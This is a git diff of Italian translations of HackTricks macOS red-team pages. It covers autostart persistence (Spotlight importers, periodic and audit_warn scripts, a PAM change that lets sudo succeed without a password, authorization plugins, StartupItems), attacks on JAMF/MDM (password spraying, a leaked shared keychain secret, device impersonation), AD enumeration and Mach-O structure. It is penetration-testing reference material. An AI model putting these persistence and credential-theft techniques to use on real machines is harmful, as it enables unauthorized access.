Per creare il tuo importer, potresti iniziare con questo progetto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e poi cambiare il nome, i **`CFBundleDocumentTypes`** e aggiungere **`UTImportedTypeDeclarations`** in modo che supporti l'estensione che desideri e rifletterle in **`schema.xml`**.\
|
||||
Per creare il tuo importatore, potresti iniziare con questo progetto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e poi cambiare il nome, i **`CFBundleDocumentTypes`** e aggiungere **`UTImportedTypeDeclarations`** in modo che supporti l'estensione che desideri supportare e rifletterle in **`schema.xml`**.\
|
||||
Poi **modifica** il codice della funzione **`GetMetadataForFile`** per eseguire il tuo payload quando viene creato un file con l'estensione elaborata.
|
||||
|
||||
Infine **compila e copia il tuo nuovo `.mdimporter`** in una delle posizioni precedenti e puoi controllare quando viene caricato **monitorando i log** o controllando **`mdimport -L.`**
|
||||
|
@ -1223,7 +1201,7 @@ Non sembra che funzioni più.
|
|||
## Bypass del Sandbox di Root
|
||||
|
||||
{% hint style="success" %}
|
||||
Qui puoi trovare posizioni di avvio utili per il **bypass del sandbox** che ti permette di eseguire semplicemente qualcosa scrivendolo in un file essendo **root** e/o richiedendo altre **condizioni strane.**
|
||||
Qui puoi trovare posizioni di avvio utili per il **bypass del sandbox** che ti permette di semplicemente eseguire qualcosa scrivendolo in un file essendo **root** e/o richiedendo altre **condizioni strane.**
|
||||
{% endhint %}
|
||||
|
||||
### Periodico
|
||||
|
@ -1243,7 +1221,7 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevil
|
|||
* Richiede privilegi di root
|
||||
* **Trigger**: Quando arriva il momento
|
||||
|
||||
#### Descrizione & Sfruttamento
|
||||
#### Descrizione ed Esploito
|
||||
|
||||
Gli script periodici (**`/etc/periodic`**) vengono eseguiti a causa dei **launch daemons** configurati in `/System/Library/LaunchDaemons/com.apple.periodic*`. Nota che gli script memorizzati in `/etc/periodic/` vengono **eseguiti** come **proprietario del file**, quindi ciò non funzionerà per un potenziale escalation dei privilegi.
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -1331,7 +1309,7 @@ session required pam_permit.so
|
|||
E quindi qualsiasi tentativo di utilizzare **`sudo` funzionerà**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si noti che questa directory è protetta da TCC, quindi è molto probabile che all'utente venga richiesto l'accesso.
|
||||
Si noti che questa directory è protetta da TCC, quindi è molto probabile che all'utente venga richiesta l'autorizzazione.
|
||||
{% endhint %}
|
||||
|
||||
### Plugin di Autorizzazione
|
||||
|
@ -1349,7 +1327,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
* Richiede privilegi di root
|
||||
* È anche necessario configurare il database di autorizzazione per utilizzare il plugin
|
||||
|
||||
#### Descrizione ed Sfruttamento
|
||||
#### Descrizione & Sfruttamento
|
||||
|
||||
È possibile creare un plugin di autorizzazione che verrà eseguito quando un utente effettua l'accesso per mantenere la persistenza. Per ulteriori informazioni su come creare uno di questi plugin, controllare i writeup precedenti (e fare attenzione, un plugin scritto male potrebbe bloccarti e dovresti pulire il tuo Mac dalla modalità di ripristino).
|
||||
```objectivec
|
||||
|
@ -1408,7 +1386,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
#### Posizione
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* Richiede privilegi di root
|
||||
* Richiesto accesso root
|
||||
* **`/private/etc/man.conf`**: Ogni volta che viene utilizzato man
|
||||
|
||||
#### Descrizione & Exploit
|
||||
|
@ -1468,12 +1446,12 @@ printf("[+] dylib constructor called from %s\n", argv[0]);
|
|||
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
||||
}
|
||||
```
|
||||
### Quadro di scrittura: framework di audit BSM
|
||||
### Quadro di scrittura BSM audit
|
||||
|
||||
Descrizione: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ma è necessario essere root, auditd in esecuzione e causare un avviso
|
||||
* Ma è necessario essere root, auditd deve essere in esecuzione e causare un avviso
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Posizione
|
||||
|
@ -1482,14 +1460,12 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevil
|
|||
* Richiede privilegi di root
|
||||
* **Trigger**: Quando auditd rileva un avviso
|
||||
|
||||
#### Descrizione ed exploit
|
||||
#### Descrizione ed Exploit
|
||||
|
||||
Ogni volta che auditd rileva un avviso, lo script **`/etc/security/audit_warn`** viene **eseguito**. Quindi potresti aggiungere il tuo payload.
|
||||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
Puoi forzare un avviso con `sudo audit -n`.
|
||||
|
||||
### Elementi di Avvio
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -1501,7 +1477,7 @@ Lo **StartupItem** è una directory che dovrebbe essere posizionata all'interno
|
|||
1. Uno **script rc**: Uno script shell eseguito all'avvio.
|
||||
2. Un file **plist**, specificamente chiamato `StartupParameters.plist`, che contiene varie impostazioni di configurazione.
|
||||
|
||||
Assicurati che lo script rc e il file `StartupParameters.plist` siano correttamente posizionati all'interno della directory **StartupItem** affinché il processo di avvio li riconosca e li utilizzi.
|
||||
Assicurarsi che lo script rc e il file `StartupParameters.plist` siano correttamente posizionati all'interno della directory **StartupItem** affinché il processo di avvio li riconosca e li utilizzi.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1523,20 +1499,7 @@ Assicurati che lo script rc e il file `StartupParameters.plist` siano correttame
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### Posizioni di avvio automatico di macOS
|
||||
|
||||
macOS offre diverse posizioni in cui è possibile configurare i programmi per avviarsi automaticamente all'avvio del sistema. Queste posizioni includono:
|
||||
|
||||
1. **LaunchAgents**: Questi sono file .plist che avviano programmi quando un utente accede al sistema.
|
||||
2. **LaunchDaemons**: Simili ai LaunchAgents, ma avviano programmi a livello di sistema.
|
||||
3. **Login Items**: Programmi specifici dell'utente che si avviano all'accesso.
|
||||
4. **Startup Items**: Programmi obsoleti che si avviavano automaticamente all'avvio del sistema.
|
||||
|
||||
È importante controllare regolarmente queste posizioni per garantire che solo i programmi desiderati si avvino automaticamente e per evitare potenziali rischi per la sicurezza.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="superservicename" %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1582,14 +1545,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
* Richiede privilegi di root
|
||||
* **Trigger**: Con XQuartz
|
||||
|
||||
#### Descrizione ed Exploit
|
||||
#### Descrizione & Exploit
|
||||
|
||||
XQuartz **non è più installato in macOS**, quindi se desideri ulteriori informazioni consulta il writeup.
|
||||
|
||||
### kext
|
||||
|
||||
{% hint style="danger" %}
|
||||
È così complicato installare kext anche come root che non considererò questo metodo per sfuggire alle sandbox o per la persistenza (a meno che tu non abbia un exploit)
|
||||
È così complicato installare kext anche come root che non lo considererò per sfuggire alle sandbox o per la persistenza (a meno che tu non abbia un exploit)
|
||||
{% endhint %}
|
||||
|
||||
#### Posizione
|
||||
|
@ -1620,11 +1583,11 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevil
|
|||
* **`/usr/local/bin/amstoold`**
|
||||
* Richiede privilegi di root
|
||||
|
||||
#### Descrizione e Sfruttamento
|
||||
#### Descrizione ed exploit
|
||||
|
||||
Apparentemente il `plist` da `/System/Library/LaunchAgents/com.apple.amstoold.plist` stava utilizzando questo binario mentre esponendo un servizio XPC... il punto è che il binario non esisteva, quindi potevi inserire qualcosa lì e quando il servizio XPC veniva chiamato, il tuo binario sarebbe stato eseguito.
|
||||
Apparentemente il `plist` da `/System/Library/LaunchAgents/com.apple.amstoold.plist` stava utilizzando questo binario mentre esponendo un servizio XPC... il fatto è che il binario non esisteva, quindi potevi inserire qualcosa lì e quando il servizio XPC veniva chiamato, il tuo binario sarebbe stato eseguito.
|
||||
|
||||
Non riesco più a trovarlo nel mio macOS.
|
||||
Non riesco più a trovare questo nel mio macOS.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
|
@ -1636,7 +1599,7 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevil
|
|||
* Richiede privilegi di root
|
||||
* **Trigger**: Quando il servizio viene avviato (raramente)
|
||||
|
||||
#### Descrizione e sfruttamento
|
||||
#### Descrizione ed exploit
|
||||
|
||||
Apparentemente non è molto comune eseguire questo script e non sono riuscito nemmeno a trovarlo nel mio macOS, quindi se desideri ulteriori informazioni consulta il writeup.
|
||||
|
||||
|
@ -1746,14 +1709,14 @@ esac
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team di HackTricks su AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -19,7 +19,7 @@ Altri modi per supportare HackTricks:
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
Se riesci a **compromettere le credenziali di amministrazione** per accedere alla piattaforma di gestione, potresti **potenzialmente compromettere tutti i computer** distribuendo il tuo malware nelle macchine.
|
||||
Se riesci a **compromettere le credenziali di amministratore** per accedere alla piattaforma di gestione, potresti **potenzialmente compromettere tutti i computer** distribuendo il tuo malware nelle macchine.
|
||||
|
||||
Per il red teaming negli ambienti MacOS è altamente consigliato avere una certa comprensione di come funzionano i MDM:
|
||||
|
||||
|
@ -31,7 +31,7 @@ Per il red teaming negli ambienti MacOS è altamente consigliato avere una certa
|
|||
|
||||
Un MDM avrà il permesso di installare, interrogare o rimuovere profili, installare applicazioni, creare account amministrativi locali, impostare la password del firmware, cambiare la chiave di FileVault...
|
||||
|
||||
Per eseguire il proprio MDM è necessario **che il tuo CSR sia firmato da un fornitore** che potresti provare a ottenere con [**https://mdmcert.download/**](https://mdmcert.download/). E per eseguire il proprio MDM per i dispositivi Apple potresti utilizzare [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
Per eseguire il proprio MDM è necessario **avere il tuo CSR firmato da un fornitore** che potresti provare a ottenere con [**https://mdmcert.download/**](https://mdmcert.download/). E per eseguire il proprio MDM per i dispositivi Apple potresti utilizzare [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
Tuttavia, per installare un'applicazione in un dispositivo registrato, è comunque necessario che sia firmata da un account sviluppatore... tuttavia, al momento dell'iscrizione al MDM il **dispositivo aggiunge il certificato SSL del MDM come CA attendibile**, quindi ora puoi firmare qualsiasi cosa.
|
||||
|
||||
|
@ -49,13 +49,13 @@ Vai su una pagina come `https://<nome-azienda>.jamfcloud.com/enroll/` per vedere
|
|||
|
||||
Potresti utilizzare lo script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) per eseguire un attacco di password spraying.
|
||||
|
||||
Inoltre, dopo aver trovato le credenziali corrette potresti essere in grado di eseguire un attacco di forza bruta su altri nomi utente con il modulo successivo:
|
||||
Inoltre, dopo aver trovato le credenziali corrette potresti essere in grado di forzare altre username con il modulo successivo:
|
||||
|
||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||
|
||||
#### Autenticazione del dispositivo JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Il binario **`jamf`** conteneva il segreto per aprire il portachiavi che al momento della scoperta era **condiviso** tra tutti ed era: **`jk23ucnq91jfu9aj`**.\
|
||||
Inoltre, jamf **persiste** come un **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
@ -98,7 +98,7 @@ Per **impersonare la comunicazione** tra un dispositivo e JMF hai bisogno di:
|
|||
* L'**UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* Il **portachiavi JAMF** da: `/Library/Application\ Support/Jamf/JAMF.keychain` che contiene il certificato del dispositivo
|
||||
|
||||
Con queste informazioni, **crea una VM** con l'**UUID hardware rubato** e con **SIP disabilitato**, rilascia il **portachiavi JAMF,** **intercetta** l'**agente Jamf** e ruba le sue informazioni.
|
||||
Con queste informazioni, **crea una VM** con l'**UUID hardware rubato** e con **SIP disabilitato**, rilascia il **portachiavi JAMF**, **intercetta** l'**agente Jamf** e ruba le sue informazioni.
|
||||
|
||||
#### Furto di segreti
|
||||
|
||||
|
@ -134,15 +134,15 @@ In alcune occasioni potresti trovare che il **computer MacOS è connesso a un AD
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Uno **strumento locale MacOS** che potrebbe aiutarti è `dscl`:
|
||||
Alcuni **strumenti locali MacOS** che potrebbero aiutarti sono `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Inoltre ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e giocare con kerberos:
|
||||
Inoltre ci sono alcuni strumenti preparati per MacOS per enumerare automaticamente l'AD e interagire con kerberos:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di audit Bloodhound che consente di raccogliere e ingerire le relazioni dell'Active Directory sugli host MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è consentire un miglior testing della sicurezza attorno a Kerberos sui dispositivi macOS utilizzando API native senza richiedere altri framework o pacchetti nel target.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per enumerare l'Active Directory.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound è un'estensione dello strumento di audit Bloodhound che consente di raccogliere e inglobare le relazioni dell'Active Directory su host MacOS.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost è un progetto Objective-C progettato per interagire con le API Heimdal krb5 su macOS. L'obiettivo del progetto è consentire una migliore verifica della sicurezza attorno a Kerberos su dispositivi macOS utilizzando API native senza richiedere alcun altro framework o pacchetti nel target.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): Strumento JavaScript for Automation (JXA) per enumerare l'Active Directory.
|
||||
|
||||
### Informazioni sul Dominio
|
||||
```bash
|
||||
|
@ -185,7 +185,7 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
|
|||
#Domain Information
|
||||
dsconfigad -show
|
||||
```
|
||||
Ulteriori informazioni su [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
Ulteriori informazioni in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
## Accesso al portachiavi
|
||||
|
||||
|
@ -203,7 +203,7 @@ Il Red Teaming su MacOS è diverso da un Red Teaming regolare su Windows poiché
|
|||
|
||||
### Safari
|
||||
|
||||
Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **aperto automaticamente**. Quindi, ad esempio, se si **scarica un file zip**, verrà decompresso automaticamente:
|
||||
Quando un file viene scaricato in Safari, se è un file "sicuro", verrà **aperto automaticamente**. Quindi, ad esempio, se **scarichi un file zip**, verrà decompresso automaticamente:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori per una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi accedere all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Dai un'occhiata ai [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi accedere all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Dai un'occhiata ai [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra esclusiva collezione di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS e HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) **server Discord** o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
|
@ -22,13 +22,13 @@ Ovviamente, è così potente che è **complicato caricare un'estensione del kern
|
|||
|
||||
* Quando si **entra in modalità di ripristino**, le **estensioni del kernel devono essere autorizzate** a essere caricate:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* L'estensione del kernel deve essere **firmata con un certificato di firma del codice del kernel**, che può essere concesso solo da Apple. Chi esaminerà in dettaglio l'azienda e i motivi per cui è necessario.
|
||||
* L'estensione del kernel deve essere **firmata con un certificato di firma del codice del kernel**, che può essere concesso solo da Apple. Chi esaminerà dettagliatamente l'azienda e i motivi per cui è necessario.
|
||||
* L'estensione del kernel deve anche essere **notarizzata**, Apple sarà in grado di controllarla per malware.
|
||||
* Quindi, l'utente **root** è l'unico che può **caricare l'estensione del kernel** e i file all'interno del pacchetto devono **appartenere a root**.
|
||||
* Durante il processo di caricamento, il pacchetto deve essere preparato in una **posizione protetta non di root**: `/Library/StagedExtensions` (richiede il permesso `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Infine, quando si tenta di caricarlo, l'utente riceverà una [**richiesta di conferma**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) e, se accettata, il computer deve essere **riavviato** per caricarla.
|
||||
* Infine, quando si tenta di caricarla, l'utente riceverà una [**richiesta di conferma**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) e, se accettata, il computer deve essere **riavviato** per caricarla.
|
||||
|
||||
### Processo di caricamento
|
||||
|
||||
|
@ -51,9 +51,9 @@ Se **`kextd`** non è disponibile, **`kextutil`** può eseguire gli stessi contr
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori per una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi accedere all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Dai un'occhiata ai [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi accedere all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Dai un'occhiata ai [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra esclusiva collezione di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS e HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) **server Discord** o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
|
|
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,7 +20,7 @@ Di solito i binari di Mac OS sono compilati come **universal binaries**. Un **un
|
|||
|
||||
Questi binari seguono la **struttura Mach-O** che è essenzialmente composta da:
|
||||
|
||||
* Header
|
||||
* Intestazione
|
||||
* Comandi di caricamento
|
||||
* Dati
|
||||
|
||||
|
@ -47,27 +47,27 @@ uint32_t align; /* allineamento come potenza di 2 */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
L'intestazione ha i byte **magic** seguiti dal **numero** di **archs** che il file **contiene** (`nfat_arch`) e ogni architettura avrà una struttura `fat_arch`.
|
||||
L'intestazione ha i byte **magic** seguiti dal **numero** di **architetture** contenute nel file (`nfat_arch`) e ogni architettura avrà una struttura `fat_arch`.
|
||||
|
||||
Controlla con:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
|
||||
/bin/ls (for architecture x86_64): Mach-O 64-bit executable x86_64
|
||||
/bin/ls (for architecture arm64e): Mach-O 64-bit executable arm64e
|
||||
/bin/ls (per architettura x86_64): Mach-O 64-bit executable x86_64
|
||||
/bin/ls (per architettura arm64e): Mach-O 64-bit executable arm64e
|
||||
|
||||
% otool -f -v /bin/ls
|
||||
Fat headers
|
||||
Intestazioni Fat
|
||||
fat_magic FAT_MAGIC
|
||||
<strong>nfat_arch 2
|
||||
</strong><strong>architecture x86_64
|
||||
</strong><strong>architettura x86_64
|
||||
</strong> cputype CPU_TYPE_X86_64
|
||||
cpusubtype CPU_SUBTYPE_X86_64_ALL
|
||||
capabilities 0x0
|
||||
<strong> offset 16384
|
||||
</strong><strong> size 72896
|
||||
</strong> align 2^14 (16384)
|
||||
<strong>architecture arm64e
|
||||
<strong>architettura arm64e
|
||||
</strong> cputype CPU_TYPE_ARM64
|
||||
cpusubtype CPU_SUBTYPE_ARM64E
|
||||
capabilities PTR_AUTH_VERSION USERSPACE 0
|
||||
|
@ -84,7 +84,7 @@ Come potresti pensare, di solito un binary universale compilato per 2 architettu
|
|||
|
||||
## Intestazione Mach-O
|
||||
|
||||
L'intestazione contiene informazioni di base sul file, come byte magici per identificarlo come file Mach-O e informazioni sull'architettura di destinazione. Puoi trovarlo in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
L'intestazione contiene informazioni di base sul file, come i byte magici per identificarlo come file Mach-O e informazioni sull'architettura di destinazione. Puoi trovarlo in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -129,9 +129,9 @@ Oppure utilizzando [Mach-O View](https://sourceforge.net/projects/machoview/):
|
|||
|
||||
## **Comandi di caricamento Mach-O**
|
||||
|
||||
La **disposizione del file in memoria** è specificata qui, dettagliando la **posizione della tabella dei simboli**, il contesto del thread principale all'avvio dell'esecuzione e le **librerie condivise** richieste. Vengono forniste istruzioni al caricatore dinamico **(dyld)** sul processo di caricamento del binario in memoria.
|
||||
La **disposizione del file in memoria** è specificata qui, dettagliando la **posizione della tabella dei simboli**, il contesto del thread principale all'avvio dell'esecuzione e le **librerie condivise** richieste. Sono fornite istruzioni al caricatore dinamico **(dyld)** sul processo di caricamento del binario in memoria.
|
||||
|
||||
Viene utilizzata la struttura **load\_command**, definita nel menzionato file **`loader.h`**:
|
||||
Viene utilizzata la struttura **load\_command**, definita nel menzionato **`loader.h`**:
|
||||
```objectivec
|
||||
struct load_command {
|
||||
uint32_t cmd; /* type of load command */
|
||||
|
@ -143,12 +143,12 @@ Ci sono circa **50 diversi tipi di comandi di caricamento** che il sistema gesti
|
|||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
Fondamentalmente, questo tipo di Comando di Caricamento definisce **come caricare il \_\_TEXT** (codice eseguibile) **e il \_\_DATA** (dati per il processo) **segmenti** in base agli **offset indicati nella sezione dei Dati** quando il binario viene eseguito.
|
||||
Fondamentalmente, questo tipo di Comando di Caricamento definisce **come caricare il \_\_TEXT** (codice eseguibile) **e il \_\_DATA** (dati per il processo) **segmenti** secondo gli **offset indicati nella sezione dei Dati** quando il binario viene eseguito.
|
||||
{% endhint %}
|
||||
|
||||
Questi comandi **definiscono segmenti** che vengono **mappati** nello **spazio di memoria virtuale** di un processo quando viene eseguito.
|
||||
|
||||
Ci sono **diversi tipi** di segmenti, come il segmento **\_\_TEXT**, che contiene il codice eseguibile di un programma, e il segmento **\_\_DATA**, che contiene dati utilizzati dal processo. Questi **segmenti sono situati nella sezione dei dati** del file Mach-O.
|
||||
